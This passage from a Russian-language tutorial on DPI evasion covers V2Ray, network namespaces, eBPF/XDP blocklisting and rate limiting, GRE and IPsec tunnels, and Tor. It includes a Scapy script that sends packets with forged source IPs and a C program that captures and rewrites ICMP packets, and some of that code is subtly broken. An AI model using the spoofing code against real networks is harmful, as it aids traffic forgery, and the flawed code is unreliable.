  ],
  "outbounds": [
    {
      "protocol": "freedom",
      "settings": {}
    }
  ]
}
Сохраняем: Ctrl+O, Enter, Ctrl+X. Этот конфиг настраивает VMess на порту 443 с WebSocket (путь /vmess). Поле disableInsecureEncryption включает только безопасное шифрование (AES-128-GCM). Outbound с freedom пускает трафик в интернет. Если у тебя домен и TLS, замени address на свой домен, а в streamSettings поставь "network": "ws", "security": "tls", и укажи пути к сертификатам, как в случае с VLESS.

Теперь запускаем и настраиваем сервис V2Ray:
Код:
sudo systemctl restart v2ray
sudo systemctl enable v2ray
systemctl status v2ray

Клиент для VMess можно использовать тот же, как и для VLESS, - v2rayN, потому что он поддерживает оба протокола. Настройка проходит так же, как с VLESS. Сервер устанавливается и запускается абсолютно так же.


Network Namespaces для изоляции процессов и трафика
Network Namespaces в Linux - это интерсный способ создать изолированные сетевые окружения, чтобы каждое приложение или контейнер работало в своей собственной сети, не мешая другим и не вылезая за её пределы. Это как дать каждому процессу свою песочницу с сетевыми настройками: интерфейсами, маршрутами, правилами фильтрации и сокетами. Используют это в контейнерах (типа Docker), для тестов сетей или чтобы VPN работал безопасно, не смешивая трафик с другими приложениями.
На уровне ядра Linux сетевое пространство имен, - это как отдельная коробка для сетевых настроек. А именно, это работает так: когда ns создаёшь новое пространство (например, командой ip netns add), ядро выделяет ему уникальный набор ресурсов: свои интерфейсы (типа eth0 или lo), таблицы маршрутизации и правила для трафика (iptables). Процесс внутри этого пространства видит только свою сеть и не может заглянуть в сеть хоста или другого пространства. Получается, что каждое приложение живёт в своей изолированной сети.
Ядро Linux следит за изоляцией через специальные структуры данных. Для каждого пространства имен оно хранит отдельную информацию о сетевых интерфейсах, маршрутах и сокетах. Когда процесс отправляет сетевой пакет, ядро смотрит, в каком пространстве он работает, и использует только настройки этого пространства. Это значит, что пакеты из одного пространства не попадут в другое, и никто не подслушает чужой трафик. Например, если в одном пространстве настроен VPN, его трафик не утечёт на хост.
Для связи между пространствами имен или с хостом ядро использует виртуальные интерфейсы, такие как veth. Один конец интерфейса подключен к пространству имен, другой - к хосту или другому пространству. Ядро передает пакеты через этот интерфейс, а настройки, такие как маршруты или NAT (через iptables), определяют, куда и как направить данные. Процесс, запущенный в пространстве имен, работает только с его сетью. При удалении пространства имен ядро очищает все связанные сетевые настройки.

Настройка
Теперь расскажу, как настроить Network Namespaces в Linux, чтобы изолировать сетевые настройки для процессов.

Сначала нужно создать новое сетевое пространство:
Код:
ip netns add myns
Эта команда создаёт namespace с именем myns, где будут свои сетевые интерфейсы и настройки.

Проверяем, что namespace создался:
Код:
ip netns list
Команда покажет список всех namespaces, и ты увидишь myns в списке.

Теперь можно запустить процесс внутри namespace, чтобы его сетевые операции были изолированы:
Код:
ip netns exec myns bash
Это открывает bash внутри myns. Все сетевые команды, запущенные тут, будут работать только в этом namespace.

Дальше нужно создать виртуальную пару интерфейсов для связи:
Код:
ip link add veth0 type veth peer name veth1
Команда делает два интерфейса, veth0 и veth1, связанные как кабель. Один будет на хосте, другой - в namespace.

Привязываем veth1 к namespace:
Код:
ip link set veth1 netns myns
Это перемещает veth1 в myns, и он станет частью его сети.

Настраиваем IP-адрес для veth1 в namespace:
Код:
ip netns exec myns ip addr add 192.168.1.2/24 dev veth1
Эта команда даёт veth1 внутри myns адрес 192.168.1.2 с маской /24, чтобы он мог общаться в сети.

Активируем интерфейс:
Код:
ip netns exec myns ip link set veth1 up
Это включает veth1, чтобы он начал обрабатывать трафик.

Теперь настраиваем маршрутизацию:
Код:
ip netns exec myns ip route add default via 192.168.1.1
Команда добавляет маршрут по умолчанию, чтобы трафик из myns шёл через шлюз 192.168.1.1.

Если нужен файрвол, настраиваем iptables внутри namespace:
Код:
ip netns exec myns iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
Это разрешает исходящий HTTP-трафик (порт 80) в myns.

Для жёсткой защиты можно заблокировать всё остальное:
Код:
ip netns exec myns iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
ip netns exec myns iptables -A OUTPUT -j DROP
Тут только HTTP-трафик разрешён, а всё остальное блокируется.

Если namespace станет больше не нужен, можно просто удалить его:
Код:
ip netns delete myns


Использование eBPF
eBPF -
это итерсная технология в ядре Linux, которая позволяет запускать маленькие программы прямо внутри ядра, не трогая его код и не создавая модули. Она помогает следить за сетью, системными событиями или безопасностью. Программы пишутся на C, и компилируются в байт-код, который ядро проверяет на безопасность, чтобы ничего не сломалось, и запускает в своей виртуальной машине eBPF.
Как это устроено? Программы eBPF - это небольшие куски кода на C, которые привязываются к событиям в ядре, например к приходу сетевого пакета. После чего верификатор ядра проверяет код, чтобы он не навредил системе. Есть ещё карты eBPF - это как таблицы, где можно хранить данные, например список подозрительных IP-адресов, и делиться ими между ядром и программами. Хуки - это точки в ядре, где программы eBPF могут подключаться, например XDP для обработки пакетов на уровне сетевого драйвера или socket_filter для работы с сокетами.
Допустим если хочу с помощью этого механизма следить за TCP-пакетами, блокировать подозрительные IP из чёрного списка и скрывать IP-адреса в логах ради приватности. Идея такая: программа eBPF цепляется к сетевому интерфейсу через XDP. Она смотрит TCP-пакеты, вытаскивает IP-адреса источника и назначения. Если IP в чёрном списке (хранится в карте eBPF), программа выдаёт XDP_DROP, и пакет выбрасывается. Для логов IP хешируется, например с использованием времени (bpf_ktime_get_ns) как соли или через библиотеку для SHA-256. Хеш кладём в другую карту eBPF или отправляем в приложение через кольцевой буфер.

Для этого нужно взять XDP, потому что он работает на уровне сетевого драйвера, обрабатывая пакеты сразу после их получения, до того как они попадут в сетевой стек ядра. Это быстрее, чем socket_filter, который работает позже, на уровне сокетов, и тратит больше времени.
С XDP можно решать, что делать с пакетом: выбросить, пропустить, отправить обратно или перекинуть куда-то ещё. Для блокировки подозрительных IP можно использовать карту eBPF типа BPF_MAP_TYPE_HASH - она быстро ищет, есть ли IP в чёрном списке.

Вот код, который мониторит TCP-пакеты, блочит IP из чёрного списка и логирует хешированные IP для приватности. Используем мапу для хранения чёрного списка и счётчиков заблокированных пакетов:
C++:
#include <linux/bpf.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <bpf/bpf_helpers.h>

#ifndef bpf_ntohs
#define bpf_ntohs(x) __builtin_bswap16(x)
#endif

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, __u32);
    __type(value, __u64);
    __uint(max_entries, 1000);
} blacklist SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, __u64); // Hashed IP
    __type(value, __u64); // Packet counter
    __uint(max_entries, 10000);
} ip_stats SEC(".maps");

static __always_inline __u64 simple_hash(__u32 ip) {
    return (__u64)ip * 2654435761ULL;
}

SEC("xdp")
int protect_network(struct xdp_md *ctx) {
    void *data_end = (void *)(long)ctx->data_end;
    void *data = (void *)(long)ctx->data;
    struct ethhdr *eth = data;
    struct iphdr *ip;
    struct tcphdr *tcp;

    if (data + sizeof(*eth) > data_end)
        return XDP_PASS;

    ip = (struct iphdr *)(eth + 1);
    if ((void *)(ip + 1) > data_end)
        return XDP_PASS;

    if (ip->protocol != IPPROTO_TCP)
        return XDP_PASS;

    tcp = (struct tcphdr *)(ip + 1);
    if ((void *)(tcp + 1) > data_end)
        return XDP_PASS;

    __u64 *block_count = bpf_map_lookup_elem(&blacklist, &ip->saddr);
    if (block_count) {
        *block_count += 1;
        bpf_printk("Blocked packet from blacklisted IP: %x\n", ip->saddr);
        return XDP_DROP;
    }

    __u64 ip_hash = simple_hash(ip->saddr);
    __u64 *packet_count = bpf_map_lookup_elem(&ip_stats, &ip_hash);
    if (packet_count) {
        *packet_count += 1;
    } else {
        __u64 init = 1;
        bpf_map_update_elem(&ip_stats, &ip_hash, &init, BPF_ANY);
    }

    bpf_printk("TCP packet, hashed src IP: %llx, dst port: %d\n",
               ip_hash, bpf_ntohs(tcp->dest));

    return XDP_PASS;
}

char _license[] SEC("license") = "GPL";
Код работает так: он ловит к XDP и анализирует входящие TCP-пакеты на уровне ядра. Для этого он использует две хеш-таблицы: blacklist для хранения IP-адресов (ключ - __u32, значение - счётчик блокировок, до 1000 записей) и ip_stats для подсчёта пакетов по хешированным IP (ключ - __u64, значение - счётчик пакетов, до 10000 записей). Функция simple_hash применяет мультипликативный хеш Кнута к IP-адресу, чтобы скрыть его для приватности. Основная функция protect_network получает контекст пакета (xdp_md), проверяет, что это Ethernet-пакет с IP и TCP заголовками, и не выходит за границы данных. Если протокол не TCP, пакет пропускается (XDP_PASS). Далее проверяется, есть ли IP отправителя в blacklist: если да, счётчик блокировок увеличивается, пакет отбрасывается (XDP_DROP), и в лог пишется сообщение через bpf_printk. Если IP не в чёрном списке, его хешируют, и в ip_stats обновляется или создаётся запись с количеством пакетов. В лог выводится хешированный IP и порт назначения (преобразованный через bpf_ntohs).

Сначала компилируем eBPF-программу:
Код:
clang -O2 -target bpf -I/usr/include/x86_64-linux-gnu -I/usr/include/bpf -c protect_network.c -o protect_network.o
Untitled15_20251005204634.png

Эта команда компилирует исходник protect_network.c в объектный файл protect_network.o с оптимизацией (-O2) для eBPF. Флаги -I добавляют нужные заголовочные файлы для работы с BPF.

Дальше загружаем программу в ядро:
Код:
bpftool prog load protect_network.o /sys/fs/bpf/protect_network
Команда загружает скомпилированный объект в ядро и закрепляет его в /sys/fs/bpf/protect_network для дальнейшего использования.

Теперь прикрепляем программу к интерфейсу, например, eth0, в режиме XDP:
Код:
ip link set eth0 xdpgeneric object protect_network.o section xdp
Это прикрепляет eBPF-программу к eth0, чтобы она обрабатывала входящие пакеты на уровне XDP (eXpress Data Path) для максимальной скорости.

Чтобы проверить, работает ли программа, смотрим логи ядра:
Код:
cat /sys/kernel/debug/tracing/trace_pipe`

Для блокировки конкретного IP, например, 192.168.0.1, добавляем его в чёрный список:
Код:
bpftool map update pinned /sys/fs/bpf/protect_network/blacklist key hex c0 a8 00 01 value 0`
Здесь мы обновляем карту blacklist в программе, добавляя IP 192.168.0.1 (в hex: c0 a8 00 01). Это блокирует все TCP-пакеты с этого адреса.

Как ещё один пример, я написал код для ограничения скорости TCP-пакетов с одного IP. Это не очень полезно для приватности, но хорошо работает в защите от DDoS-атак.

Вот сам код:
C++:
#include <linux/bpf.h>
#include <linux/in.h>
#include <bpf/bpf_helpers.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(key_size, sizeof(__u32));
    __uint(value_size, sizeof(__u64) * 2);
    __uint(max_entries, 1000);
} rate_limit SEC(".maps");

#define MAX_PACKETS 100
#define ONE_SECOND 1000000000ULL

static inline __u64 simple_hash(__u32 ip) {
    return (__u64)(ip ^ (ip >> 16));
}

SEC("xdp")
int rate_limit_tcp(struct xdp_md *ctx) {
    void *data_end = (void *)(long)ctx->data_end;
    void *data = (void *)(long)ctx->data;
    struct ethhdr *eth = data;
    struct iphdr *ip;

    if (data + sizeof(*eth) > data_end)
        return XDP_PASS;

    ip = (struct iphdr *)(eth + 1);
    if ((void *)(ip + 1) > data_end)
        return XDP_PASS;

    if (ip->protocol != IPPROTO_TCP)
        return XDP_PASS;

    __u64 now = bpf_ktime_get_ns();
    __u64 *entry = bpf_map_lookup_elem(&rate_limit, &ip->saddr);
    __u64 new_entry[2] = { now, 1 };

    if (entry) {
        __u64 last_time = entry[0];
        __u64 count = entry[1];

        if (now - last_time < ONE_SECOND) {
            if (count >= MAX_PACKETS) {
                bpf_printk("Rate limit exceeded for IP %x\n", ip->saddr);
                return XDP_DROP;
            }
            entry[1] = count + 1;
        } else {
            entry[0] = now;
            entry[1] = 1;
        }
    } else {
        bpf_map_update_elem(&rate_limit, &ip->saddr, new_entry, BPF_ANY);
    }

    __u64 ip_hash = simple_hash(ip->saddr);
    bpf_printk("TCP packet, hashed src IP: %llx\n", ip_hash);

    return XDP_PASS;
}
Программа начинает работу с загрузки в ядро через XDP, где она прикрепляеться к сетевому интерфейсу для обработки входящих пакетов. Она создаёт хеш-таблицу rate_limit с ключами __u32 для IP-адресов и значениями из двух __u64 (время последнего пакета и счётчик пакетов), вмещая до 1000 записей. Функция simple_hash генерирует хеш IP-адреса через XOR с его сдвинутой версией, чтобы не логировать реальные IP и сохранить приватность. Для каждого входящего пакета программа проверяет, является ли он Ethernet-пакетом с IP и TCP заголовками, пропуская всё остальное через XDP_PASS. Если это TCP-пакет, она берёт текущее время в наносекундах через bpf_ktime_get_ns и смотрит IP отправителя в rate_limit. Если запись есть и с последнего пакета прошло меньше секунды (ONE_SECOND = 1 млрд наносекунд), а счётчик достиг 100 (MAX_PACKETS), пакет отбрасывается через XDP_DROP, и в лог пишется сообщение через bpf_printk о превышении лимита. Если лимит не достигнут, счётчик пакетов увеличивается. Если секунда прошла, время и счётчик сбрасываются. Для нового IP создаётся запись с текущим временем и счётчиком 1. Хешированный IP каждого пакета логируется через bpf_printk для анализа.

Для проверки ограничения скорости TCP-пакетов сохраняем код в rate_limit.c и компилируем:
clang -O2 -target bpf -I/usr/include/x86_64-linux-gnu -I/usr/include/bpf -c rate_limit.c -o rate_limit.o

Дальше загружаем программу в ядро:
Код:
bpftool prog load rate_limit.o /sys/fs/bpf/rate_limit

Теперь прикрепляем программу к интерфейсу, например, eth0, в режиме XDP:
Код:
ip link set eth0 xdpgeneric object rate_limit.o section xdp


Ручная подделка загловков пакетов
DPI может проверять заголовки пакетов - IP-адреса, порты, протоколы -
и даже анализировать шаблоны, чтобы понять, что вы используете Tor, Shadowsocks и тд. Но как же от этого защититься? Обычно от таких проверок спасает подделка заголовков пакетов. Она делает пакеты похожими на обычный HTTPS-трафик, SSH или даже что-то совсем безобидное, вроде DNS-запросов. Обычно это бремя ложится на плечи самих протоколов. Но бывает они этим просто не занимаются. Поэтому иногда приходится брать всё в свои руки и настраивать её самостоятельно. В этом разделе я расскажу, как это сделать.
Спуфинг заголовков пакетов работает через создание пакетов с изменёнными полями, например, IP-адресом источника, адресом назначения, портом или протоколом. Например, вы можете отправить TCP-пакет, где IP-адрес источника будет поддельным, чтобы скрыть ваш реальный адрес, или изменить порт, чтобы трафик выглядел как обычный запрос. Например, если замаскировать порт или протокол, можно сделать так, чтобы ваш трафик выглядел как поток с популярного сайта, например, YouTube или Google, а это снижает вероятность блокировки.
Однако спуфинг требует осторожности: некорректно сформированные пакеты могут быть отброшены сетевыми устройствами, и в целом это может сломать передачу данных, если делать всё неаккуратно.

Теперь покажу, как это делаеться. В качестве первого примера я написал простой скрипт на Python с отправкой поддельного TCP-пакета:
Python:
from scapy.all import *
import sys

def send_spoofed_packet(protocol="TCP", iface="eth0"):
    try:
        spoofed_mac = "00:11:22:33:44:55"
        spoofed_ip = "192.168.1.100"
        target_ip = "93.184.216.34" if protocol == "TCP" else "8.8.8.8"
 
        ether = Ether(src=spoofed_mac, dst="ff:ff:ff:ff:ff:ff")
 
        ip = IP(src=spoofed_ip, dst=target_ip)
 
        if protocol == "TCP":
            transport = TCP(sport=12345, dport=443, flags="S")  # HTTPS port, SYN flag
        else:
            transport = UDP(sport=12345, dport=53)  # DNS port
 
        packet = ether/ip/transport
 
        print(f"Sending {protocol} packet via interface {iface}...")
        if protocol == "TCP":
            response = sendp(packet, iface=iface, return_packets=True, verbose=False)
        else:
            response = sendp(packet, iface=iface, return_packets=True, verbose=False)
 
        if response:
            print(f"{protocol} packet sent successfully! Response captured.")
        else:
            print(f"{protocol} packet sent, but no response captured.")
 
    except Exception as e:
        print(f"Error sending packet: {e}")
        sys.exit(1)

if __name__ == "__main__":

    interface = "eth0"
 
    send_spoofed_packet(protocol="TCP", iface=interface)
    send_spoofed_packet(protocol="UDP", iface=interface)

Проверяем:
photo_2025-10-05_13-48-55.jpg

Скрипт начинает работу с вызова функции send_spoofed_packet, которая формирует и отправляет поддельный TCP/UDP-пакет через интерфейс(по умолчанию eth0). Она задаёт фейковый MAC-адрес и IP для отправителя, а для получателя выбирает 93.184.216.34 для TCP или 8.8.8.8 для UDP. Создаётся Ethernet-фрейм с широковещательным MAC получателя (ff:ff:ff:ff:ff:ff), затем IP-пакет с фейковыми адресами. Для TCP формируется пакет с исходным портом 12345, целевым портом 443 и флагом SYN, а для UDP - с портом 53(DNS). Пакет собирается через Scapy в виде ether/ip/transport и отправляется через sendp с параметром return_packets=True, чтобы захватить ответы, если они есть. Процесс логируется: перед отправкой выводится сообщение, а после - успех или отсутствие ответа.


Дальше я подумал что просто отправлка пакетов это конечно полезно, но не очень реалистично. Потому для ещё одного примера этого я написал на C++ с перехватом пакетов на определённый сайт и их модификацией:
C++:
#include <stdio.h>
#include <string.h>
#include <pcap.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/socket.h>
#include <time.h>
#include <stdlib.h>

unsigned short checksum(unsigned short *ptr, int nbytes) {
    unsigned long sum = 0;
    while (nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1) {
        sum += *(unsigned char *)ptr;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}


void process_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    if (header->len > 1500) {
        fprintf(stderr, "Packet too large: %d bytes\n", header->len);
        return;
    }
 
    struct iphdr *ip = (struct iphdr *)(packet + 14);
 
    if (ip->protocol == IPPROTO_ICMP) {
 
        struct icmphdr *icmp = (struct icmphdr *)(packet + 14 + (ip->ihl * 4));
        if (icmp->type == ICMP_ECHO) {
 
            char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
            inet_ntop(AF_INET, &ip->saddr, src_ip, INET_ADDRSTRLEN);
            inet_ntop(AF_INET, &ip->daddr, dst_ip, INET_ADDRSTRLEN);
            printf("Captured ICMP packet: %s -> %s, ID: %u\n", src_ip, dst_ip, ntohs(ip->id));
            int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
 
            if (sock < 0) {
                perror("Socket creation failed");
                return;
            }
 
            const int on = 1;
            if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                perror("Setsockopt failed");
                close(sock);
                return;
            }
 
            char new_packet[1500];
            if (header->len > sizeof(new_packet)) {
                fprintf(stderr, "Packet size exceeds buffer: %d bytes\n", header->len);
                close(sock);
                return;
            }
 
            memcpy(new_packet, packet, header->len);
            struct iphdr *new_ip = (struct iphdr *)(new_packet + 14);
            new_ip->id = htons(rand() % 65535);
            new_ip->check = 0;
            new_ip->check = checksum((unsigned short *)new_ip, sizeof(struct iphdr));
            int icmp_len = header->len - (14 + ip->ihl * 4);
            struct icmphdr *new_icmp = (struct icmphdr *)(new_packet + 14 + ip->ihl * 4);
            new_icmp->checksum = 0;
 
            int payload_size = icmp_len - sizeof(struct icmphdr);
            if (payload_size > 0) {
                unsigned char *payload = (unsigned char *)(new_packet + 14 + ip->ihl * 4 + sizeof(struct icmphdr));
                for (int i = 0; i < payload_size; i++) {
                    payload = rand() % 256;
                }
            }
 
            new_icmp->checksum = checksum((unsigned short *)new_icmp, icmp_len);
            struct sockaddr_in sin = {0};
            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = new_ip->daddr;
 
            if (sendto(sock, new_packet, header->len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
                perror("Sendto failed");
            } else {
                printf("Modified ICMP packet sent: %s -> %s, ID: %u\n", src_ip, dst_ip, ntohs(new_ip->id));
            }
            close(sock);
        }
    }
}


int main() {
    srand(time(NULL));
    char errbuf[PCAP_ERRBUF_SIZE];
    const char *dev = "wlan0";
    pcap_t *handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
    if (!handle) {
        fprintf(stderr, "Failed to open device %s: %s\n", dev, errbuf);
        return 1;
    }
 
    struct bpf_program fp;
    const char *filter_exp = "icmp and dst host 209.85.233.113";
 
    if (pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN) == -1) {
        fprintf(stderr, "Failed to compile filter: %s\n", pcap_geterr(handle));
        pcap_close(handle);
        return 1;
    }
 
    if (pcap_setfilter(handle, &fp) == -1) {
        fprintf(stderr, "Failed to set filter: %s\n", pcap_geterr(handle));
        pcap_freecode(&fp);
        pcap_close(handle);
        return 1;
    }
 
    printf("Starting ICMP packet capture...\n");
    pcap_loop(handle, 0, process_packet, NULL);
    pcap_freecode(&fp);
    pcap_close(handle);
 
    return 0;
}

Проверяем:
photo_2025-10-05_13-50-56.jpg


Программа начинает работу с инициализации генератора случайных чисел для создания новых id пакетов. Затем она открывает сетевой интерфейсс. Если интерфейс не открывается, программа завершается с ошибкой. Далее компилируется и устанавливается фильтр "icmp and dst host 209.85.233.113", который ловит только ICMP-пакеты, направленные к IP Google. После этого запускается бесконечный цикл, который перехватывает пакеты и передаёт их в функцию process_packet. Эта функция проверяет, что размер пакета не превышает 1500 байт, и извлекает IP-заголовок, смещённый на 14 байт. Если протокол пакета - ICMP и тип - ECHO (пинг-запрос), программа выводит исходный и целевой IP, а также ID пакета. Затем создаётся сырой сокет для контроля заголовков. Пакет копируется в новый буфер, его IP-идентификатор заменяется случайным числом, а контрольная сумма пересчитывается через функцию checksum. Если в пакете есть полезная нагрузка, она заменяется случайными байтами. Контрольная сумма ICMP также пересчитывается, и модифицированный пакет отправляется.


Настройка рандомизации задержек пакетов
Из похожей оперы идёт рандомизация временных меток и сетевых пакетов.
DPI часто ищут характерные шаблоны: регулярные интервалы между пакетами, специфические размеры или последовательности, благодаря чему, к примеру, могут блокировать трафик. А рандомизация ломает эти шаблоны: добавляя случайные задержки, вы делаете трафик похожим на обычный. Конечно, только этого недостаточно, и хорошо бы использовать дополнительные методы и, в идеале, вообще незаметные протоколы типа VLESS, о которых я говорил выше. Тем не менее, это весьма полезно.

Обычно это работает через добавление случайных задержек к пакетам, чтобы интервалы между ними не были регулярными. Это можно сделать на уровне сетевого интерфейса, перехватывая пакеты и задерживая их отправку. В Linux такое делается с помощью утилиты tc для управления задержками. Ещё для этого можно использовать тот же eBPF, о котором я говорил выше. Рандомизация временных меток в заголовках сложнее, так как для этого нужна модификация пакетов на низком уровне, но для большинства случаев достаточно простых задержек, чтобы запутать анализ.

Впрочем, сильно играть с этим тоже не стоит, ведь, как вы понимаете, если переборщить с задержками, трафик может стать очень медленным, а если что-то сделать неаккуратно, можно вообще начать терять пакеты данных.

Настройка реализации задержек
Первым расскажу самый простой способ как добавить случайные задержки к трафику на Linux, а именно с помощью инструмента tc.

Для этого нужно создать правило на нужный тебе интерфейс:
Код:
sudo tc qdisc add dev eth0 root netem delay 100ms 50ms distribution normal
Эта команда настраивает интерфейс eth0, добавляя базовую задержку 100 мс с вариацией ±50 мс по нормальному распределению

После чего можно проверить, применились ли правила:
Код:
sudo tc qdisc show dev eth0
Untitled19_20251005212519.png


Чтобы проверить, как задержки влияют на отправку пакетов можно выполнить команду:
Код:
sudo tcpdump -i eth0 'tcp'

Вот команда если нужно убрать правило:
Код:
sudo tc qdisc del dev eth0 root

Так же можно написать скрипт на Python, который добавляет задержки через перехват пакетов библиотекой Scapy:
Python:
from scapy.all import *
import random
import time
import sys
import warnings

warnings.filterwarnings("ignore", category=SyntaxWarning)

def check_interface(iface):
    try:
        conf.iface = iface
        return True
    except Exception as e:
        print(f"Ошибка: интерфейс {iface} не найден или не доступен: {e}")
        return False

packet_count = 0

def packet_handler(packet):
    global packet_count
    try:
        if packet.haslayer(TCP) and packet.haslayer(IP):
            packet_count += 1
            delay = random.uniform(0.05, 1.0)
            time.sleep(delay)

            send(packet, iface=conf.iface, verbose=0)
            msg = f"Пакет {packet_count} переслан с задержкой {delay:.3f} сек, src: {packet[IP].src}, dst: {packet[IP].dst}"
            print(msg)
        else:
            msg = f"Пропущен пакет: не TCP или не IP, summary: {packet.summary()}"
            print(msg)

    except Exception as e:
        msg = f"Ошибка при обработке пакета: {e}"
        print(msg)


def main():
    iface = "wlan0"
    filter_str = "tcp"

    if not check_interface(iface):
        sys.exit(1)

    print(f"Начинаем перехват TCP-пакетов на интерфейсе {iface}...")
    try:
        sniff(iface=iface, filter=filter_str, prn=packet_handler, store=0)
    except KeyboardInterrupt:
        print(f"\nПерехват остановлен пользователем. Всего перехвачено пакетов: {packet_count}")

if __name__ == "__main__":
    main()

Проверяем:
photo_2025-10-05_21-03-01.jpg

Код начинает свою работу с того что, сначала check_interface проверяет, доступен ли интерфейс, устанавливая его в Scapy через conf.iface. Затем запускается sniff из Scapy, который перехватывает пакеты на указанном интерфейсе, применяя фильтр "tcp" и передавая каждый пакет в packet_handler. Эта функция проверяет, есть ли в пакете слои IP и TCP. Если да, счётчик packet_count увеличивается, генерируется случайная задержка от 0.05 до 1 секунды через random.uniform, и программа ждёт это время с помощью time.sleep. Затем пакет пересылается через send без изменений, а в консоль выводится сообщение с номером пакета, задержкой и IP-адресами отправителя и получателя. Если пакет не TCP или не IP, он пропускается, и в консоль пишется его краткое описание через packet.summary.


Настройка GRE-туннелей
Ещё одна интересная вещь, чтобы скрыть свои пакеты, - это GRE
. Это протокол туннелирования, который прячет твои сетевые пакеты, упаковывая их в новые, скрывая их содержимое от DPI. Работает на сетевом уровне: берёт твой IP-пакет, заворачивает в новый с GRE-заголовком и отправляет через интернет. Для провайдера это выглядит как обычный обмен между двумя IP, без намёков на VPN или другие сервисы, которые ты исользуешь. GRE использует IP-протокол 47, а не TCP/UDP-порты, он менее заметен для фильтров, чем, например, OpenVPN.

Но есть и минусы, сам по себе GRE не шифрует данные, но скрывает внутренние заголовки (IP, порты), что мешает DPI их анализировать. А поскольку GRE использует IP-протокол 47, а не TCP/UDP, он реже цепляется фильтрами, чем, скажем, OpenVPN. Но нужен сервер на другом конце, настроенный под GRE. Без шифрования данные можно перехватить, так что лучше юзать с IPsec. Даже без этого GRE хорошо маскирует трафик.

Однако GRE требует, чтобы сервер на другом конце тоже был настроен для работы с туннелем, и без шифрования содержимое пакетов остаётся уязвимым для перехвата на пути. Поэтому лучше комбинировать GRE с IPsec, чтобы зашифровать туннель. Правда если использовать стронние шифрование GRE менее эффективно маскирует трафик.

Теперь о реализации. Дальше я расскажу, как создать GRE-туннель между сервером и клиентом на Debian, чтобы перенаправлять трафик.

Настройка GRE-туннеля на сервере

Сначала необходимо созоздать GRE-туннель на сервере:

Код:
sudo ip tunnel add gre1 mode gre remote ip клиента local ip сервера ttl 255
sudo ip link set gre1 up
sudo ip addr add 192.168.10.1/24 dev gre1
photo_2025-10-05_14-32-03.jpg


Эти команды делают туннель gre1, связывая сервер с клиентом . Параметр ttl 255 задаёт время жизни пакетов, gre1 активируется, а 192.168.10.1/24 - это внутренний IP туннеля на сервере.

Теперь настраиваем маршрутизацию и NAT, чтобы клиентский трафик шёл через сервер:
Код:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Первая команда включает пересылку IP-пакетов, чтобы сервер пропускал трафик. Вторая настраивает NAT через MASQUERADE, чтобы пакеты от клиента выходили в интернет с IP сервера, пряча его настоящий адрес.

Если хочешь, чтобы правила iptables сохранялись после перезагрузки (это опционально):
Код:
sudo apt install iptables-persistent -y
sudo dpkg-reconfigure iptables-persistent


Настройка GRE-туннеля на клиенте
Теперь расскажу, как настроить GRE-туннель на клиенте. Первым делом аналогично серверу создаём сам GRE-туннель:

Код:
sudo ip tunnel add gre1 mode gre remote ip сервера local текущий маршрут ttl 255
sudo ip link set gre1 up
sudo ip addr add 192.168.10.2/24 dev gre1
Эти команды создают туннель gre1, связывая клиент с сервером. Затем активируем туннель и задаём ему внутренний IP 192.168.10.2/24.

Дальше настраиваем маршрутизацию, чтобы весь трафик шёл через туннель:
Код:
sudo ip route add 0.0.0.0/0 via 192.168.10.1 dev gre1
Эта команда направляет весь интернет-трафик через gre1 к серверу (192.168.10.1 - IP сервера в туннеле).

Если в системе уже есть другой маршрут по умолчанию, он может мешать, так что удаляем его:
Код:
sudo ip route del default via  текущий маршрут dev ваш интерфейс

Проверяем, работает ли туннель:
Код:
ping 192.168.10.1
Если пинг проходит, туннель работает.

Теперь проверяем, идёт ли трафик через туннель:
Код:
curl --interface gre1 ifconfig.me

Для пущей безопасности можно добавить шифрование через IPsec.

Для этого нужно установить нужный пакет:

Код:
sudo apt install strongswan -y

Потом создать конфиг IPsec:
Код:
sudo nano /etc/ipsec.conf

И вставить туда текст:
Код:
conn gre-tunnel
    left=<client_ip>
    right=ip сервера
    type=transport
    authby=secret
    keyexchange=ikev2
    esp=aes128gcm16!
    auto=start
Этот конфиг настраивает IPsec-транспорт с шифрованием AES-128-GCM и автоматическим запуском.

Теперь настраиваем общий ключ:
Код:
текущий маршрут ip сервера : PSK "your_shared_secret"

И последним следует запустить IPsec:
Код:
sudo systemctl restart strongswan


Динамическое изменение выходной ноды Tor
Tor помогает защитить вашу приватность благодаря луковому шифрованию:
на каждом этапе данные покрываются новым слоем шифра, скрывая источник и пункт назначения. Последний узел в цепочке, называемый выходной нодой, определяет, с какого IP-адреса вы появляетесь в интернете. Но если эта нода остаётся неизменной и соединение длится долго, это может стать заметным отпечатком, по которому вас могут отследить.

Чтобы этого избежать, стоит время от времени менять выходную ноду. Если выбирать ноды в разных странах, например, в США, Германии или Японии, системам будет труднее связать ваши действия в единый профиль. Однако для этого обычно требуется полностью перезапускать Tor, что может создать проблему: если трафик шёл через Tor, он может случайно попасть в клирнет. Чтобы этого не произошло, можно настроить Tor так, чтобы при его отключении весь интернет-трафик блокировался, предотвращая утечку вашего реального IP-адреса.

